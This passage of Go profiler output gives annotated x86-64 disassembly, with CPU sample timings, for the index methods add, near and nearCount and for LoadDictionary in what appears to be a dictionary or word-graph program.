. . 10cc26e: MOVQ R8, 0x10(SP)
. . 10cc273: MOVQ DI, 0x18(SP)
. . 10cc278: MOVQ R10, 0x20(SP)
. 360ms 10cc27d: CALL runtime.growslice(SB) ;main.(*index).add index.go:41
. . 10cc282: MOVQ 0x28(SP), AX ;index.go:41
. . 10cc287: MOVQ 0x30(SP), CX
. . 10cc28c: MOVQ 0x38(SP), DX
. . 10cc291: MOVQ 0x60(SP), BX
. . 10cc296: MOVQ 0x88(SP), SI
10ms 10ms 10cc29e: MOVQ DX, 0x10(SI)(BX*8) ;main.(*index).add index.go:41
. . 10cc2a3: CMPL $0x0, runtime.writeBarrier(SB) ;index.go:41
. . 10cc2aa: JNE 0x10cc2cc
. . 10cc2ac: MOVQ AX, 0(SI)(BX*8)
. . 10cc2b0: MOVQ CX, R8
. . 10cc2b3: MOVQ AX, R9
. . 10cc2b6: MOVQ 0xa0(SP), CX ;index.go:38
. . 10cc2be: MOVQ BX, DX ;index.go:41
. . 10cc2c1: MOVQ SI, BX
. . 10cc2c4: MOVQ DX, SI
. . 10cc2c7: JMP 0x10cc08f
. . 10cc2cc: MOVQ 0x80(SP), DI
. . 10cc2d4: CALL runtime.gcWriteBarrier(SB)
. . 10cc2d9: JMP 0x10cc2b0
. . 10cc2db: MOVQ R8, 0(SP) ;index.go:127
. . 10cc2df: MOVQ CX, 0x8(SP)
. . 10cc2e4: MOVQ BX, 0x10(SP)
. . 10cc2e9: CALL runtime.memmove(SB)
. . 10cc2ee: JMP 0x10cc18a
. . 10cc2f3: MOVQ 0x90(SP), BP
. . 10cc2fb: ADDQ $0x98, SP
. . 10cc302: RET
. . 10cc303: MOVQ DX, AX ;index.go:41
. . 10cc306: MOVQ SI, CX
. . 10cc309: CALL runtime.panicIndexU(SB)
. . 10cc30e: CALL runtime.panicdivide(SB) ;index.go:40
. . 10cc313: CALL runtime.panicSliceB(SB) ;index.go:125
. . 10cc318: MOVQ AX, CX ;index.go:124
. . 10cc31b: CALL runtime.panicSliceAcap(SB)
. . 10cc320: CALL runtime.panicSliceAcap(SB) ;index.go:34
. . 10cc325: NOPL
. . 10cc326: CALL runtime.morestack_noctxt(SB) ;index.go:31
. . 10cc32b: ?
. . 10cc32c: LOCK CLD
. . 10cc32e: ?
ROUTINE ======================== main.(*index).near
50ms 610ms (flat, cum) 10.15% of Total
. . 10cc6c0: MOVQ GS:0x30, CX ;index.go:97
. . 10cc6c9: LEAQ 0xfffffe70(SP), AX
. . 10cc6d1: CMPQ 0x10(CX), AX
. . 10cc6d5: JBE 0x10ccafa
. . 10cc6db: SUBQ $0x210, SP
. . 10cc6e2: MOVQ BP, 0x208(SP)
. . 10cc6ea: LEAQ 0x208(SP), BP
. . 10cc6f2: LEAQ 0x78(SP), DI ;index.go:98
. . 10cc6f7: XORPS X0, X0
. . 10cc6fa: MOVQ BP, -0x10(SP)
. . 10cc6ff: LEAQ -0x10(SP), BP
. . 10cc704: CALL 0x105866e
. . 10cc709: MOVQ 0(BP), BP
. . 10cc70d: MOVQ 0x228(SP), AX ;index.go:99
. . 10cc715: LEAQ 0x1(AX), CX
. . 10cc719: CMPQ $0x30, CX
. . 10cc71d: JA 0x10ccaef
. . 10cc723: MOVQ CX, 0x60(SP)
. . 10cc728: MOVQ 0x218(SP), AX ;index.go:100
. . 10cc730: MOVQ 0(AX), CX
. . 10cc733: MOVQ 0x8(AX), DX
. . 10cc737: MOVQ 0x20(CX), CX
. . 10cc73b: MOVQ DX, 0(SP)
. . 10cc73f: CALL CX
. . 10cc741: MOVQ 0x218(SP), AX ;index.go:101
. . 10cc749: MOVQ 0(AX), CX
. . 10cc74c: MOVQ 0x8(AX), DX
. . 10cc750: MOVQ 0x40(CX), CX
. . 10cc754: MOVQ DX, 0(SP)
. . 10cc758: MOVQ 0x220(SP), DX
. . 10cc760: MOVQ DX, 0x8(SP)
. . 10cc765: MOVQ 0x228(SP), BX
. . 10cc76d: MOVQ BX, 0x10(SP)
. . 10cc772: MOVQ 0x230(SP), SI
. . 10cc77a: MOVQ SI, 0x18(SP)
. . 10cc77f: CALL CX
. . 10cc781: MOVQ 0x218(SP), AX ;index.go:102
. . 10cc789: MOVQ 0(AX), CX
. . 10cc78c: MOVQ 0x8(AX), DX
. . 10cc790: MOVQ 0x38(CX), CX
. . 10cc794: MOVQ DX, 0(SP)
. 10ms 10cc798: CALL CX ;main.(*index).near index.go:102
. . 10cc79a: MOVQ 0x8(SP), AX ;index.go:102
. . 10cc79f: MOVQ 0x218(SP), CX
. . 10cc7a7: MOVQ 0x40(CX), DX
. . 10cc7ab: TESTQ DX, DX
. . 10cc7ae: JE 0x10ccaea
. . 10cc7b4: MOVQ DX, BX
. . 10cc7b7: XORL DX, DX
. . 10cc7b9: DIVQ BX
. . 10cc7bc: MOVQ 0x60(SP), BX
. . 10cc7c1: TESTQ BX, BX
. . 10cc7c4: JBE 0x10ccae0
. . 10cc7ca: MOVQ DX, 0x78(SP)
. . 10cc7cf: MOVQ 0x28(CX), SI ;index.go:103
. . 10cc7d3: MOVQ 0x38(CX), DX
. . 10cc7d7: MOVQ 0x228(SP), DI
. . 10cc7df: LEAQ -0x1(DI), R8
. . 10cc7e3: CMPQ DX, R8
. . 10cc7e6: JA 0x10ccad8
. . 10cc7ec: MOVQ R8, 0x68(SP)
. . 10cc7f1: MOVQ SI, 0x200(SP)
. . 10cc7f9: MOVQ DX, 0x48(SP)
. . 10cc7fe: MOVQ 0x220(SP), R9 ;index.go:104
. . 10cc806: XORL AX, AX
. . 10cc808: JMP 0x10cc84a
. . 10cc80a: MOVQ AX, R10 ;index.go:109
. . 10cc80d: SHLQ $0x3, AX
. . 10cc811: MOVQ DX, 0x78(SP)(AX*1)
. . 10cc816: MOVQ 0x228(SP), R11 ;index.go:104
. . 10cc81e: MOVQ 0x200(SP), R12
. . 10cc826: MOVQ 0x48(SP), R13
. . 10cc82b: MOVQ 0x68(SP), R14
. . 10cc830: MOVQ 0x220(SP), R15
. . 10cc838: MOVQ R13, DX ;index.go:124
. . 10cc83b: MOVQ R12, SI ;index.go:125
. . 10cc83e: MOVQ R11, DI ;index.go:104
. . 10cc841: MOVQ R14, R8 ;index.go:125
. . 10cc844: MOVQ R15, R9 ;index.go:126
. . 10cc847: MOVQ R10, AX ;index.go:104
. . 10cc84a: CMPQ DI, AX
. . 10cc84d: JGE 0x10cc9b6
. 10ms 10cc853: NOPL ;main.(*index).near index.go:105
. . 10cc854: CMPQ DX, AX ;index.go:124
. . 10cc857: JA 0x10ccad0
. . 10cc85d: CMPQ R8, AX ;index.go:125
. . 10cc860: JA 0x10ccac8
. . 10cc866: MOVQ AX, 0x40(SP) ;index.go:104
. . 10cc86b: SUBQ AX, R8 ;index.go:125
. . 10cc86e: MOVQ R8, 0x38(SP)
. . 10cc873: SUBQ AX, DX
. . 10cc876: NEGQ DX
. . 10cc879: SARQ $0x3f, DX
10ms 10ms 10cc87d: ANDQ AX, DX ;main.skipOneCopy index.go:125
. . 10cc880: ADDQ SI, DX ;index.go:125
. . 10cc883: MOVQ DX, 0x1f8(SP)
. . 10cc88b: CMPQ R9, SI ;index.go:126
. . 10cc88e: JE 0x10cc8a3
. . 10cc890: MOVQ SI, 0(SP)
. . 10cc894: MOVQ R9, 0x8(SP)
. . 10cc899: MOVQ AX, 0x10(SP)
. . 10cc89e: CALL runtime.memmove(SB)
. . 10cc8a3: MOVQ 0x40(SP), AX ;index.go:127
. . 10cc8a8: INCQ AX
. . 10cc8ab: MOVQ AX, 0x70(SP)
. . 10cc8b0: MOVQ 0x228(SP), CX
. . 10cc8b8: SUBQ AX, CX
. . 10cc8bb: MOVQ 0x38(SP), BX
. . 10cc8c0: CMPQ CX, BX
. . 10cc8c3: CMOVG CX, BX
. . 10cc8c7: MOVQ 0x230(SP), CX
. . 10cc8cf: SUBQ AX, CX
. . 10cc8d2: NEGQ CX
. . 10cc8d5: SARQ $0x3f, CX
. . 10cc8d9: ANDQ AX, CX
. . 10cc8dc: MOVQ 0x220(SP), DI
. . 10cc8e4: ADDQ DI, CX
. . 10cc8e7: MOVQ 0x1f8(SP), R8
. . 10cc8ef: CMPQ R8, CX
. . 10cc8f2: JNE 0x10cc99e
. . 10cc8f8: MOVQ 0x218(SP), AX ;index.go:107
. . 10cc900: MOVQ 0(AX), CX
. . 10cc903: MOVQ 0x8(AX), DX
. . 10cc907: MOVQ 0x20(CX), CX
. . 10cc90b: MOVQ DX, 0(SP)
. 40ms 10cc90f: CALL CX ;main.(*index).near index.go:107
. . 10cc911: MOVQ 0x218(SP), AX ;index.go:108
. . 10cc919: MOVQ 0(AX), CX
. . 10cc91c: MOVQ 0x8(AX), DX
. . 10cc920: MOVQ 0x40(CX), CX
. . 10cc924: MOVQ DX, 0(SP)
. . 10cc928: MOVQ 0x200(SP), DX
. . 10cc930: MOVQ DX, 0x8(SP)
. . 10cc935: MOVQ 0x68(SP), BX
. . 10cc93a: MOVQ BX, 0x10(SP)
. . 10cc93f: MOVQ 0x48(SP), SI
. . 10cc944: MOVQ SI, 0x18(SP)
. 10ms 10cc949: CALL CX ;main.(*index).near index.go:108
. . 10cc94b: MOVQ 0x218(SP), AX ;index.go:109
. . 10cc953: MOVQ 0(AX), CX
. . 10cc956: MOVQ 0x8(AX), DX
. . 10cc95a: MOVQ 0x38(CX), CX
. . 10cc95e: MOVQ DX, 0(SP)
. 30ms 10cc962: CALL CX ;main.(*index).near index.go:109
. . 10cc964: MOVQ 0x8(SP), AX ;index.go:109
. . 10cc969: MOVQ 0x218(SP), CX
. . 10cc971: MOVQ 0x40(CX), DX
. . 10cc975: TESTQ DX, DX
. . 10cc978: JE 0x10ccac3
. . 10cc97e: MOVQ DX, BX
. . 10cc981: XORL DX, DX
. . 10cc983: DIVQ BX
10ms 10ms 10cc986: MOVQ 0x70(SP), AX ;main.(*index).near index.go:109
. . 10cc98b: MOVQ 0x60(SP), BX ;index.go:109
. . 10cc990: CMPQ BX, AX
. . 10cc993: JB 0x10cc80a
. . 10cc999: JMP 0x10ccabb
. . 10cc99e: MOVQ R8, 0(SP) ;index.go:127
. . 10cc9a2: MOVQ CX, 0x8(SP)
. . 10cc9a7: MOVQ BX, 0x10(SP)
. . 10cc9ac: CALL runtime.memmove(SB)
. . 10cc9b1: JMP 0x10cc8f8
. . 10cc9b6: MOVQ 0x248(SP), DX ;index.go:113
. . 10cc9be: MOVQ 0x240(SP), SI
. . 10cc9c6: MOVQ 0x238(SP), DI
. . 10cc9ce: XORL AX, AX
. . 10cc9d0: XORL R8, R8
. . 10cc9d3: JMP 0x10cc9e1
. . 10cc9d5: INCQ AX
. . 10cc9d8: MOVQ R11, DX ;index.go:117
. . 10cc9db: MOVQ SI, R8
. . 10cc9de: MOVQ R10, SI
. . 10cc9e1: CMPQ BX, AX ;index.go:113
. . 10cc9e4: JGE 0x10cca95
. . 10cc9ea: MOVQ 0x78(SP)(AX*8), R9 ;index.go:114
. . 10cc9ef: MOVQ 0x10(CX), R10 ;index.go:115
. . 10cc9f3: MOVQ 0x18(CX), R11
. . 10cc9f7: CMPQ R11, R9
. . 10cc9fa: JAE 0x10ccab0
. . 10cca00: LEAQ 0(R9)(R9*2), R9
. . 10cca04: MOVQ 0x8(R10)(R9*8), R11
. . 10cca09: MOVQ 0(R10)(R9*8), R9
30ms 30ms 10cca0d: CMPQ SI, R8 ;main.(*index).near index.go:117
. . 10cca10: JA 0x10ccaa5 ;index.go:117
. . 10cca16: MOVQ SI, R10
. . 10cca19: SUBQ R8, SI
. . 10cca1c: CMPQ R11, SI
. . 10cca1f: CMOVG R11, SI
. . 10cca23: MOVQ DX, R11
. . 10cca26: SUBQ R8, DX
. . 10cca29: NEGQ DX
. . 10cca2c: SHLQ $0x3, R8
. . 10cca30: SARQ $0x3f, DX
. . 10cca34: ANDQ DX, R8
. . 10cca37: LEAQ 0(DI)(R8*1), DX
. . 10cca3b: CMPQ R9, DX
. . 10cca3e: JE 0x10cc9d5
. . 10cca40: MOVQ AX, 0x58(SP) ;index.go:113
. . 10cca45: MOVQ SI, 0x50(SP) ;index.go:117
. . 10cca4a: MOVQ DX, 0(SP)
. . 10cca4e: MOVQ R9, 0x8(SP)
. . 10cca53: SHLQ $0x3, SI
. . 10cca57: MOVQ SI, 0x10(SP)
. 460ms 10cca5c: CALL runtime.memmove(SB) ;main.(*index).near index.go:117
. . 10cca61: MOVQ 0x58(SP), AX ;index.go:113
. . 10cca66: MOVQ 0x218(SP), CX ;index.go:115
. . 10cca6e: MOVQ 0x60(SP), BX ;index.go:113
. . 10cca73: MOVQ 0x50(SP), SI ;index.go:117
. . 10cca78: MOVQ 0x238(SP), DI
. . 10cca80: MOVQ 0x240(SP), R10
. . 10cca88: MOVQ 0x248(SP), R11
. . 10cca90: JMP 0x10cc9d5
. . 10cca95: MOVQ 0x208(SP), BP
. . 10cca9d: ADDQ $0x210, SP
. . 10ccaa4: RET
. . 10ccaa5: MOVQ R8, AX
. . 10ccaa8: MOVQ SI, CX
. . 10ccaab: CALL runtime.panicSliceB(SB)
. . 10ccab0: MOVQ R9, AX ;index.go:115
. . 10ccab3: MOVQ R11, CX
. . 10ccab6: CALL runtime.panicIndexU(SB)
. . 10ccabb: MOVQ BX, CX ;index.go:109
. . 10ccabe: CALL runtime.panicIndex(SB)
. . 10ccac3: CALL runtime.panicdivide(SB)
. . 10ccac8: MOVQ R8, CX ;index.go:125
. . 10ccacb: CALL runtime.panicSliceB(SB)
. . 10ccad0: MOVQ AX, CX ;index.go:124
. . 10ccad3: CALL runtime.panicSliceAcap(SB)
. . 10ccad8: MOVQ R8, CX ;index.go:103
. . 10ccadb: CALL runtime.panicSliceAcap(SB)
. . 10ccae0: XORL AX, AX ;index.go:102
. . 10ccae2: MOVQ BX, CX
. . 10ccae5: CALL runtime.panicIndex(SB)
. . 10ccaea: CALL runtime.panicdivide(SB)
. . 10ccaef: MOVL $0x30, DX ;index.go:99
. . 10ccaf4: CALL runtime.panicSliceAlen(SB)
. . 10ccaf9: NOPL
. . 10ccafa: CALL runtime.morestack_noctxt(SB) ;index.go:97
. . 10ccaff: JMP main.(*index).near(SB)
. . 10ccb04: INT $0x3
. . 10ccb05: INT $0x3
. . 10ccb06: INT $0x3
. . 10ccb07: INT $0x3
. . 10ccb08: INT $0x3
. . 10ccb09: INT $0x3
. . 10ccb0a: INT $0x3
. . 10ccb0b: INT $0x3
. . 10ccb0c: INT $0x3
. . 10ccb0d: INT $0x3
. . 10ccb0e: INT $0x3
ROUTINE ======================== main.(*index).nearCount
80ms 150ms (flat, cum) 2.50% of Total
. . 10cc330: MOVQ GS:0x30, CX ;index.go:59
. . 10cc339: LEAQ 0xfffffe80(SP), AX
. . 10cc341: CMPQ 0x10(CX), AX
. . 10cc345: JBE 0x10cc6b3
. . 10cc34b: SUBQ $0x200, SP
. . 10cc352: MOVQ BP, 0x1f8(SP)
. . 10cc35a: LEAQ 0x1f8(SP), BP
. . 10cc362: LEAQ 0x68(SP), DI ;index.go:60
. . 10cc367: XORPS X0, X0
. . 10cc36a: MOVQ BP, -0x10(SP)
. . 10cc36f: LEAQ -0x10(SP), BP
. . 10cc374: CALL 0x105866e
. . 10cc379: MOVQ 0(BP), BP
. . 10cc37d: MOVQ 0x218(SP), AX ;index.go:61
. . 10cc385: LEAQ 0x1(AX), CX
. . 10cc389: CMPQ $0x30, CX
. . 10cc38d: JA 0x10cc6a8
. . 10cc393: MOVQ CX, 0x50(SP)
. . 10cc398: MOVQ 0x208(SP), AX ;index.go:62
. . 10cc3a0: MOVQ 0(AX), CX
. . 10cc3a3: MOVQ 0x8(AX), DX
. . 10cc3a7: MOVQ 0x20(CX), CX
. . 10cc3ab: MOVQ DX, 0(SP)
. . 10cc3af: CALL CX
. . 10cc3b1: MOVQ 0x208(SP), AX ;index.go:63
. . 10cc3b9: MOVQ 0(AX), CX
. . 10cc3bc: MOVQ 0x8(AX), DX
. . 10cc3c0: MOVQ 0x40(CX), CX
. . 10cc3c4: MOVQ DX, 0(SP)
. . 10cc3c8: MOVQ 0x210(SP), DX
. . 10cc3d0: MOVQ DX, 0x8(SP)
. . 10cc3d5: MOVQ 0x218(SP), BX
. . 10cc3dd: MOVQ BX, 0x10(SP)
. . 10cc3e2: MOVQ 0x220(SP), SI
. . 10cc3ea: MOVQ SI, 0x18(SP)
. . 10cc3ef: CALL CX
. . 10cc3f1: MOVQ 0x208(SP), AX ;index.go:64
. . 10cc3f9: MOVQ 0(AX), CX
. . 10cc3fc: MOVQ 0x8(AX), DX
. . 10cc400: MOVQ 0x38(CX), CX
. . 10cc404: MOVQ DX, 0(SP)
. 10ms 10cc408: CALL CX ;main.(*index).nearCount index.go:64
. . 10cc40a: MOVQ 0x8(SP), AX ;index.go:64
. . 10cc40f: MOVQ 0x208(SP), CX
. . 10cc417: MOVQ 0x40(CX), DX
. . 10cc41b: TESTQ DX, DX
. . 10cc41e: JE 0x10cc6a3
. . 10cc424: MOVQ DX, BX
. . 10cc427: XORL DX, DX
. . 10cc429: DIVQ BX
10ms 10ms 10cc42c: MOVQ 0x50(SP), BX ;main.(*index).nearCount index.go:64
. . 10cc431: TESTQ BX, BX ;index.go:64
. . 10cc434: JBE 0x10cc699
. . 10cc43a: MOVQ DX, 0x68(SP)
. . 10cc43f: MOVQ 0x38(CX), DX ;index.go:65
. . 10cc443: MOVQ 0x28(CX), SI
. . 10cc447: MOVQ 0x218(SP), DI
. . 10cc44f: LEAQ -0x1(DI), R8
. . 10cc453: CMPQ DX, R8
. . 10cc456: JA 0x10cc691
. . 10cc45c: MOVQ R8, 0x58(SP)
. . 10cc461: MOVQ DX, 0x48(SP)
. . 10cc466: MOVQ SI, 0x1f0(SP)
. . 10cc46e: MOVQ 0x210(SP), R9 ;index.go:66
. . 10cc476: XORL AX, AX
. . 10cc478: JMP 0x10cc4ba
. . 10cc47a: MOVQ AX, R10 ;index.go:71
. . 10cc47d: SHLQ $0x3, AX
. . 10cc481: MOVQ DX, 0x68(SP)(AX*1)
. . 10cc486: MOVQ 0x218(SP), R11 ;index.go:66
. . 10cc48e: MOVQ 0x1f0(SP), R12
. . 10cc496: MOVQ 0x48(SP), R13
. . 10cc49b: MOVQ 0x58(SP), R14
. . 10cc4a0: MOVQ 0x210(SP), R15
. . 10cc4a8: MOVQ R13, DX ;index.go:124
. . 10cc4ab: MOVQ R12, SI ;index.go:125
. . 10cc4ae: MOVQ R11, DI ;index.go:66
. . 10cc4b1: MOVQ R14, R8 ;index.go:125
. . 10cc4b4: MOVQ R15, R9 ;index.go:126
. . 10cc4b7: MOVQ R10, AX ;index.go:66
. . 10cc4ba: CMPQ DI, AX
. . 10cc4bd: JGE 0x10cc623
. 10ms 10cc4c3: NOPL ;main.(*index).nearCount index.go:67
10ms 10ms 10cc4c4: CMPQ DX, AX ;main.skipOneCopy index.go:124
. . 10cc4c7: JA 0x10cc689 ;index.go:124
. . 10cc4cd: CMPQ R8, AX ;index.go:125
. . 10cc4d0: JA 0x10cc681
. . 10cc4d6: MOVQ AX, 0x40(SP) ;index.go:66
. . 10cc4db: SUBQ AX, R8 ;index.go:125
. . 10cc4de: MOVQ R8, 0x38(SP)
. . 10cc4e3: SUBQ AX, DX
. . 10cc4e6: NEGQ DX
. . 10cc4e9: SARQ $0x3f, DX
. . 10cc4ed: ANDQ AX, DX
. . 10cc4f0: ADDQ SI, DX
. . 10cc4f3: MOVQ DX, 0x1e8(SP)
. . 10cc4fb: CMPQ R9, SI ;index.go:126
. . 10cc4fe: JE 0x10cc513
. . 10cc500: MOVQ SI, 0(SP)
. . 10cc504: MOVQ R9, 0x8(SP)
. . 10cc509: MOVQ AX, 0x10(SP)
. . 10cc50e: CALL runtime.memmove(SB)
. . 10cc513: MOVQ 0x40(SP), AX ;index.go:127
. . 10cc518: INCQ AX
. . 10cc51b: MOVQ AX, 0x60(SP)
. . 10cc520: MOVQ 0x218(SP), CX
. . 10cc528: SUBQ AX, CX
. . 10cc52b: MOVQ 0x38(SP), BX
. . 10cc530: CMPQ CX, BX
. . 10cc533: CMOVG CX, BX
. . 10cc537: MOVQ 0x220(SP), CX
. . 10cc53f: SUBQ AX, CX
. . 10cc542: NEGQ CX
. . 10cc545: SARQ $0x3f, CX
. . 10cc549: ANDQ AX, CX
. . 10cc54c: MOVQ 0x210(SP), DI
. . 10cc554: ADDQ DI, CX
. . 10cc557: MOVQ 0x1e8(SP), R8
. . 10cc55f: CMPQ R8, CX
. . 10cc562: JNE 0x10cc60b
. . 10cc568: MOVQ 0x208(SP), AX ;index.go:69
. . 10cc570: MOVQ 0(AX), CX
. . 10cc573: MOVQ 0x8(AX), DX
. . 10cc577: MOVQ 0x20(CX), CX
. . 10cc57b: MOVQ DX, 0(SP)
. . 10cc57f: CALL CX
10ms 10ms 10cc581: MOVQ 0x208(SP), AX ;main.(*index).nearCount index.go:70
. . 10cc589: MOVQ 0(AX), CX ;index.go:70
. . 10cc58c: MOVQ 0x8(AX), DX
. . 10cc590: MOVQ 0x40(CX), CX
. . 10cc594: MOVQ DX, 0(SP)
. . 10cc598: MOVQ 0x1f0(SP), DX
. . 10cc5a0: MOVQ DX, 0x8(SP)
. . 10cc5a5: MOVQ 0x58(SP), BX
. . 10cc5aa: MOVQ BX, 0x10(SP)
. . 10cc5af: MOVQ 0x48(SP), SI
. . 10cc5b4: MOVQ SI, 0x18(SP)
. 20ms 10cc5b9: CALL CX ;main.(*index).nearCount index.go:70
. . 10cc5bb: MOVQ 0x208(SP), AX ;index.go:71
. . 10cc5c3: MOVQ 0(AX), CX
. . 10cc5c6: MOVQ 0x8(AX), DX
. . 10cc5ca: MOVQ 0x38(CX), CX
. . 10cc5ce: MOVQ DX, 0(SP)
. 30ms 10cc5d2: CALL CX ;main.(*index).nearCount index.go:71
. . 10cc5d4: MOVQ 0x8(SP), AX ;index.go:71
. . 10cc5d9: MOVQ 0x208(SP), CX
. . 10cc5e1: MOVQ 0x40(CX), DX
. . 10cc5e5: TESTQ DX, DX
. . 10cc5e8: JE 0x10cc67c
. . 10cc5ee: MOVQ DX, BX
. . 10cc5f1: XORL DX, DX
. . 10cc5f3: DIVQ BX
. . 10cc5f6: MOVQ 0x60(SP), AX
. . 10cc5fb: MOVQ 0x50(SP), BX
. . 10cc600: CMPQ BX, AX
. . 10cc603: JB 0x10cc47a
. . 10cc609: JMP 0x10cc674
. . 10cc60b: MOVQ R8, 0(SP) ;index.go:127
. . 10cc60f: MOVQ CX, 0x8(SP)
. . 10cc614: MOVQ BX, 0x10(SP)
. . 10cc619: CALL runtime.memmove(SB)
. . 10cc61e: JMP 0x10cc568
. . 10cc623: XORL AX, AX
. . 10cc625: XORL DX, DX
. . 10cc627: JMP 0x10cc638 ;index.go:75
. . 10cc629: INCQ AX
. . 10cc62c: LEAQ 0(R8)(R8*2), SI ;index.go:76
. . 10cc630: MOVQ 0x8(DI)(SI*8), SI
50ms 50ms 10cc635: ADDQ SI, DX ;main.(*index).nearCount index.go:77
. . 10cc638: CMPQ BX, AX ;index.go:75
. . 10cc63b: JGE 0x10cc651
. . 10cc63d: MOVQ 0x18(CX), SI ;index.go:76
. . 10cc641: MOVQ 0x10(CX), DI
. . 10cc645: MOVQ 0x68(SP)(AX*8), R8
. . 10cc64a: CMPQ SI, R8
. . 10cc64d: JB 0x10cc629
. . 10cc64f: JMP 0x10cc669
. . 10cc651: MOVQ DX, 0x228(SP) ;index.go:80
. . 10cc659: MOVQ 0x1f8(SP), BP
. . 10cc661: ADDQ $0x200, SP
. . 10cc668: RET
. . 10cc669: MOVQ R8, AX ;index.go:76
. . 10cc66c: MOVQ SI, CX
. . 10cc66f: CALL runtime.panicIndexU(SB)
. . 10cc674: MOVQ BX, CX ;index.go:71
. . 10cc677: CALL runtime.panicIndex(SB)
. . 10cc67c: CALL runtime.panicdivide(SB)
. . 10cc681: MOVQ R8, CX ;index.go:125
. . 10cc684: CALL runtime.panicSliceB(SB)
. . 10cc689: MOVQ AX, CX ;index.go:124
. . 10cc68c: CALL runtime.panicSliceAcap(SB)
. . 10cc691: MOVQ R8, CX ;index.go:65
. . 10cc694: CALL runtime.panicSliceAcap(SB)
. . 10cc699: XORL AX, AX ;index.go:64
. . 10cc69b: MOVQ BX, CX
. . 10cc69e: CALL runtime.panicIndex(SB)
. . 10cc6a3: CALL runtime.panicdivide(SB)
. . 10cc6a8: MOVL $0x30, DX ;index.go:61
. . 10cc6ad: CALL runtime.panicSliceAlen(SB)
. . 10cc6b2: NOPL
. . 10cc6b3: CALL runtime.morestack_noctxt(SB) ;index.go:59
. . 10cc6b8: JMP main.(*index).nearCount(SB)
. . 10cc6bd: INT $0x3
. . 10cc6be: INT $0x3
ROUTINE ======================== main.LoadDictionary
50ms 2.70s (flat, cum) 44.93% of Total
. . 10c9ce0: MOVQ GS:0x30, CX ;graph.go:39
. . 10c9ce9: LEAQ 0xfffffec0(SP), AX
. . 10c9cf1: CMPQ 0x10(CX), AX
. . 10c9cf5: JBE 0x10ca44f
. . 10c9cfb: SUBQ $0x1c0, SP
. . 10c9d02: MOVQ BP, 0x1b8(SP)
. . 10c9d0a: LEAQ 0x1b8(SP), BP
. . 10c9d12: MOVQ $0x0, 0x1f0(SP)
. . 10c9d1e: LEAQ go.string.*+6047(SB), AX ;graph.go:40
. . 10c9d25: MOVQ AX, 0(SP)
. . 10c9d29: MOVQ $0xe, 0x8(SP)
. . 10c9d32: CALL main.newTimer(SB)
. . 10c9d37: MOVQ 0x10(SP), AX
. . 10c9d3c: MOVL $0x0, 0x68(SP)
. . 10c9d44: MOVQ AX, 0x80(SP)
. . 10c9d4c: LEAQ 0x68(SP), AX
. . 10c9d51: MOVQ AX, 0(SP)
. . 10c9d55: CALL runtime.deferprocStack(SB)
. . 10c9d5a: TESTL AX, AX
. . 10c9d5c: JNE 0x10ca430
. . 10c9d62: NOPL ;graph.go:41
. . 10c9d63: MOVQ 0x1c8(SP), AX ;file.go:280
. . 10c9d6b: MOVQ AX, 0(SP)
. . 10c9d6f: MOVQ 0x1d0(SP), AX
. . 10c9d77: MOVQ AX, 0x8(SP)
. . 10c9d7c: MOVQ $0x0, 0x10(SP)
. . 10c9d85: MOVL $0x0, 0x18(SP)
. . 10c9d8d: CALL os.OpenFile(SB)
. . 10c9d92: MOVQ 0x20(SP), AX
. . 10c9d97: MOVQ AX, 0x118(SP)
. . 10c9d9f: MOVQ 0x30(SP), CX
. . 10c9da4: MOVQ 0x28(SP), DX
. . 10c9da9: TESTQ DX, DX ;graph.go:42
. . 10c9dac: JE 0x10c9df2
. . 10c9dae: JE 0x10c9db4 ;graph.go:43
. . 10c9db0: MOVQ 0x8(DX), DX
. . 10c9db4: XORPS X0, X0
. . 10c9db7: MOVUPS X0, 0x128(SP)
. . 10c9dbf: MOVQ DX, 0x128(SP)
. . 10c9dc7: MOVQ CX, 0x130(SP)
. . 10c9dcf: LEAQ 0x128(SP), AX
. . 10c9dd7: MOVQ AX, 0(SP)
. . 10c9ddb: MOVQ $0x1, 0x8(SP)
. . 10c9de4: MOVQ $0x1, 0x10(SP)
. . 10c9ded: CALL log.Fatal(SB)
. . 10c9df2: MOVL $0x18, 0xa0(SP) ;graph.go:45
. . 10c9dfd: LEAQ go.func.*+294(SB), AX
. . 10c9e04: MOVQ AX, 0xb8(SP)
. . 10c9e0c: MOVQ 0x118(SP), AX
. . 10c9e14: MOVQ AX, 0xd0(SP)
. . 10c9e1c: LEAQ 0xa0(SP), CX
. . 10c9e24: MOVQ CX, 0(SP)
. . 10c9e28: CALL runtime.deferprocStack(SB)
. . 10c9e2d: TESTL AX, AX
. . 10c9e2f: JNE 0x10ca41a
. . 10c9e35: LEAQ type.*+157408(SB), AX ;graph.go:47
. . 10c9e3c: MOVQ AX, 0(SP)
. . 10c9e40: CALL runtime.newobject(SB)
. . 10c9e45: MOVQ 0x8(SP), AX
. . 10c9e4a: MOVQ AX, 0x120(SP)
. . 10c9e52: LEAQ type.*+141536(SB), CX ;graph.go:48
. . 10c9e59: MOVQ CX, 0(SP)
. . 10c9e5d: XORPS X0, X0
. . 10c9e60: MOVUPS X0, 0x8(SP)
. . 10c9e65: CALL runtime.makeslice(SB)
. . 10c9e6a: MOVQ 0x18(SP), AX
. . 10c9e6f: CMPL $0x0, runtime.writeBarrier(SB) ;graph.go:47
. . 10c9e76: JNE 0x10ca3d5
. . 10c9e7c: XORPS X0, X0
. . 10c9e7f: MOVQ 0x120(SP), CX
. . 10c9e87: MOVUPS X0, 0(CX)
. . 10c9e8a: MOVUPS X0, 0x10(CX)
. . 10c9e8e: MOVUPS X0, 0x20(CX)
. . 10c9e92: MOVQ AX, 0(CX)
. . 10c9e95: NOPL ;graph.go:53
. . 10c9e96: LEAQ 0x138(SP), DI ;scan.go:87
. . 10c9e9e: MOVQ BP, -0x10(SP)
. . 10c9ea3: LEAQ -0x10(SP), BP
. . 10c9ea8: CALL 0x10586ba
. . 10c9ead: MOVQ 0(BP), BP
. . 10c9eb1: LEAQ 0x138(SP), DI
. . 10c9eb9: MOVQ BP, -0x10(SP)
. . 10c9ebe: LEAQ -0x10(SP), BP
. . 10c9ec3: CALL 0x10586ba
. . 10c9ec8: MOVQ 0(BP), BP
. . 10c9ecc: LEAQ go.itab.*os.File,io.Reader(SB), AX
. . 10c9ed3: MOVQ AX, 0x138(SP)
. . 10c9edb: MOVQ 0x118(SP), AX
. . 10c9ee3: MOVQ AX, 0x140(SP)
. . 10c9eeb: LEAQ go.func.*+6(SB), AX
. . 10c9ef2: MOVQ AX, 0x148(SP)
. . 10c9efa: MOVQ $0x10000, 0x150(SP)
. . 10c9f06: XORL AX, AX
. . 10c9f08: JMP 0x10c9f0d ;graph.go:54
